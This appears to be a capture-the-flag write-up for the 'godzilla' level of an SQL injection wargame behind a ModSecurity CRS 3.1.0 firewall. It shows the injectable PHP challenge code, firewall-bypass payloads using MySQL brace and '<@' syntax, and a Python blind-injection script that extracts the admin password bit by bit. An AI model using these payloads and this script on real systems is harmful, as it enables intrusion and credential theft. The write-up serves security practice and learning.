LOS Lv.35 godzilla

godzilla

query : select id from prob_godzilla where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

Solution

비밀번호 길이는 아래처럼 구하면 됨. 길이는 8

CRS 3.1.0 WAF bypass -> {`a` b}, <@

?id=' or {`if`id='admin' and length(pw)>8} %23
?id='<@ or id='admin' and length(pw)>8 %23

import requests

url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

bit_val=''
pw=''

for i in range(1,9) :
    payload={'pw':"' or {`if`id='admin' and length(bin(ascii(substr(pw,"+str(i)+",1))))=7} #"}
    res=requests.get(url,headers=headers, params=payload, cookies=cookies)
    if "Hello admin" in res.text :
        bit_len=7
    else :
        bit_len=6
    
    for j in range(1,bit_len+1) :
        payload={'pw':"' or {`if`id='admin' and substr(bin(ascii(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0} #"}
        res=requests.get(url,headers=headers, params=payload, cookies=cookies)
        if "Hello admin" in res.text :
            bit_val+='0'
        else :
            bit_val+='1'
    
    pw+=chr(int(bit_val,2))
    bit_val=''
    print("pw :",pw) # a18a6cc5

print("GODZILLA Clear!")